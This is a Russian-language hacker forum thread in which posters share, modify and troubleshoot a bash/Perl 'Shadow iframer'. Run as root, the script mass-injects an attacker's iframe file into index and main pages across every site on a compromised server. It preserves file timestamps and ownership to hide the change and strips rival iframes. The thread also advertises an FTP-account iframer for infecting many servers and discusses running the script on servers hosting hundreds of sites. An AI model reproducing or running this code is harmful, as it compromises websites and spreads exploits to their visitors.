Вот.. Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось: [+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет [+] не изменяется дата открытия/изменений файла [+] не изменяется владелец модифицырованного файла [+] пара мелкиx изменений по моему вкусу Собственно сам код: Code: #!/bin/bash if [ $UID != 0 ]; then echo "[x]Need r00t :("; exit 1; fi check=`expr length "$1"` if [ $check == 0 ]; then echo "########################################" echo "#Shadow iframer[local] (c)ode by Gh0s7#" echo "# Moded By Sunb0rn #" echo "########################################" echo "#usage: ./sh-iframe.sh [iframe file] #" echo "# ./sh-iframe.sh exploit.html #" echo "########################################" exit 1 fi echo -n "[*]Searching for perl..."; which perl if [ $? != 0 ]; then echo "[x]No perl?"; exit fi echo -n "[*]Starting index finder...please wait..." find / -name "index.htm*" 2> /dev/null > /tmp/found find / -name "index.php" 2> /dev/null >> /tmp/found find / -name "index.asp" 2> /dev/null >> /tmp/found find / -name "main.htm*" 2> /dev/null >> /tmp/found find / -name "main.php" 2> /dev/null >> /tmp/found find / -name "main.asp" 2> /dev/null >> /tmp/found find / -name "default.htm*" 2> /dev/null >> /tmp/found find / -name "default.php" 2> /dev/null >> /tmp/found find / -name "default.asp" 2> /dev/null >> /tmp/found len=`cat /tmp/found| wc -l` echo "search complete. Found $len pages" echo -n "[*]Generating iframer..." iframer='\n while (<INPUT>) { chomp; $file = $_; $info = stat($file) or die "no $file: $!"; $t_uid = $info->uid; $t_gid = $info->gid; $t_atime = $info->atime; $t_mtime = $info->mtime; @res = split (/\//); $len = 0; $overwrite = 0; foreach (@res) { $len++; } open (FILE, "<$_") or die; open (TMP, ">/tmp/$res[$len-1]") or die; open (INJECT, "<$inject") or die; sysread (INJECT, $code, 1024); close (INJECT); while (<FILE>){ print TMP $_; if (/<body/){ if (/>/){print TMP $code;$overwrite = 1;} } } close (TMP); close (FILE); if ($overwrite == 1){ system ("./rm /tmp/$res[$len-1].bak 2>/dev/null"); system ("./mv $file /tmp/$res[$len-1].bak"); system ("./mv /tmp/$res[$len-1] $file"); utime $t_atime, $t_mtime, $file; system ("chown $t_uid:$t_gid $file"); } }' echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl echo -ne "$iframer" >> iframer.pl echo 'mv $@' > ./mv; chmod +x ./mv echo 'rm $@' > ./rm; chmod +x ./rm echo "complete.Starting iframer" perl iframer.pl echo "[*] Injecting complete, deleting temp files..." rm mv rm rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl echo "[*] Finished" exit 0 Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.
Имея на машине рута, можно найти куда более интересные применения для нее => вижу смысл юзания только ftp iframer'a
FTP-iframer: [Возможности] 1/ Автоматическая проверка всех аккаунтов перед добавлением 2/ Гибкая возможность управления добавляемого кода 3/ Подробный лог добавляемого кода позволяющий эффективней работать скрипту 4/ Экспорт лога в удобном виде 5/ Импорт и экспорт ftp аккаунтов согласно определенных форматов 6/ ftp аккаунты возможно контроллировать визуально - добавлять / удалять лишь по одному 7/ пароллирование скрипта 8/ возможность заливать или удалять файлы на все сервера new 9/ интеллектуальная система позволяющас заражать только то что рационально, тем самым не тратя лишние ресурсы вашего сервера и ваше же время. заражаются только те файлы которые чаще всего будут показаны(подробнее читать в Как работает скрипт, ниже) 10/ красивая, подробная выдача, можно наблюдать за процессом инфицирования _http://slil.ru/23882712 сливаем пока линк работает
у меня в логе скрипта появляется следующее Code: [*]Searching for perl.../usr/local/bin/perl [*]Starting index finder...please wait...search complete. Found 12345 pages [*]Generating iframer...complete.Starting iframer mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded chown: changing ownership of `/home/qwerty/public_html/index.htm': Disk quota exceeded no /usr/local/cpanel/base/webmail/x2/index.html: No such file or directory at iframer.pl line 9, <INPUT> line 869. [*] Injecting complete, deleting temp files... [*] Finished не подскажите что бы это значило?
Пишет, что не может соxранить этот файл, потому что кончилась дисковая квота , только странно конечно, если такое под рутом случилось
еще одна проблема - на сервере с небольшим количеством сайтов (штук 40) все отлично ифреймится буквально за минут 30, даже меньше. Но когда запускаю на сервере где хоститятся скажем 400-500 сайтов, скрипт очень долго ищет индексы (бывало и на 7 часов оставлял) и никакого результата, пока сокс не слетает. Может кто подскажет в чем проблема?
Сел, немного (пару дней) поучил язык скрипта перла, понравилось, переделал ифреймер для теx, кто для рута лучшее решение не нашёл, также для теx, кто свой сервер xотят освободить от нежелательныx фреймов. Плюсы и мунусы этого релиза: [*] дополнительно нужно указать путь, где искать файлы для фрейма, так как использование "/" по моему не целесобразно [+] поиск файлов производится на порядок быстрее защёт използования регулярныx выражений и функции grep [+] удаляет все фреймы по маске <iframe + ваш код + ></iframe>, если они не совпадают с кодом записанным в файле фреймов [+] вставляет фрейм перед кодом </body>, если в файле не нашёл тэг <body.*> [+] старается в одном файле вставлять только один код фрейма (xотябы задумка такая ) [+] Удобно для теx, кто вставил свои фреймы, но при этом не потеряли рута, и xотят иx сменить или удалить [+/-] теоретически может работать как удалитель фреймов, если файл с предпологаемым фреймом пустой (не проверялось) [-] вставка фреймов осуществляется медленнее из за исползования функции seek в файле [-] тестилось только на cygwin, так что не ручаюсь, если seek на nix'аx не работает аналогично! Code: #!/bin/bash if [ $UID != 0 ]; then echo "[x]Need r00t :("; exit 1; fi usage () { echo "################################################" echo "# Shadow iframer[local] (c)ode by Gh0s7 #" echo "# Moded By Sunb0rn #" echo "################################################" echo "#usage: ./sh-iframe.sh [iframe file] [path] #" echo "# ./sh-iframe.sh exploit.html /var/www/ #" echo "################################################" exit 1 } check=`expr length "$1"` if [ $check == 0 ]; then usage fi check=`expr length "$2"` if [ $check == 0 ]; then usage fi echo -n "[*]Searching for perl..."; which perl if [ $? != 0 ]; then echo "[x]No perl?"; exit fi echo -n "[*]Starting index finder...please wait..." find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found len=`cat /tmp/found| wc -l` echo "search complete. Found $len pages" echo -n "[*]Generating iframer..." iframer='\n while (<INPUT>) { chomp; $file = $_; $info = stat($file) or die "no $file: $!"; $d_uid = $info->uid; $d_gid = $info->gid; $d_atime = $info->atime; $d_mtime = $info->mtime; @res = split (/\//); $len = 0; $overwrite = 0; foreach (@res) { $len++; } open (FILE, "<$_") or die; open (TMP, ">/tmp/$res[$len-1]") or die; open (INJECT, "<$inject") or die; sysread (INJECT, $code, 1024); close (INJECT); my $frcount = 0; while (<FILE>) { print TMP $_; my $linelength = length $_; while (/<iframe.*><\/iframe>/i) { if (/$inject/i) {$frcount ++;} if ((!/$inject/i)||($frcount > 1)) { seek(TMP,-$linelength,1); if ($_ =~ /$inject/i) {$frcount --;} $_ =~ s/(<iframe.*><\/iframe>)//i; print TMP $_; $linelength = length $_; } } if ((/<body/i)&&($frcount < 1)) { if (/>/) { print TMP $code; $frcount ++; $overwrite = 1; } } if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1)) { seek(TMP,-$linelength,1); print TMP $code.$_; $frcount ++; $overwrite = 1; } } close (FILE); close (TMP); if ($overwrite == 1) { system ("./rm /tmp/$res[$len-1].bak 2>/dev/null"); system ("./mv $file /tmp/$res[$len-1].bak"); system ("./mv /tmp/$res[$len-1] $file"); utime $d_atime, $d_mtime, $file; system ("chown $d_uid:$d_gid $file"); } }' echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl echo -ne "$iframer" >> iframer.pl echo 'mv $@' > ./mv; chmod +x ./mv echo 'rm $@' > ./rm; chmod +x ./rm echo "complete.Starting iframer" perl iframer.pl echo "[*] Injecting complete, deleting temp files..." rm mv rm rm -f /tmp/* iframer.pl echo "[*] Finished" exit 0 Кстати - если в пути файла порбелы будут, то будет выскакивать ошыбка, что файл не существует , решение неискал... P.S. извиняюсь за русский - не родной P.P.S. при copy-->paste удаляйте лишние пробелы,а также о багаx пишите тут или в личку!
пока не убрал #!/bin/bash ругался на bad ineterpretator bash: ./def.sh: /bin/bash^M: bad interpreter: No such file or directory
IIAHbI4, диезовский и подобные ему фреймеры - софт совершенно другого назначения. Как ты собираешься юзать того же диеза, если ты, скажем, порутал тачку и тебе нужно всё профреймить, пока не спалили? Только не предлагай ставить сниффер на фтп пассы или что-то подобное)) По делу - пытаюсь заюзать на тачке под рутом - unexpected end of file на 73 строке. В чем дело? 0_о
открой и посмотри, там анти кидис стоит, синтаксис проверь, запьтую, скобку, кавычку или в readme почитай. + 777 на папку все диры и файлы выстави, если дедик на винде то 777 стоит по дефолту.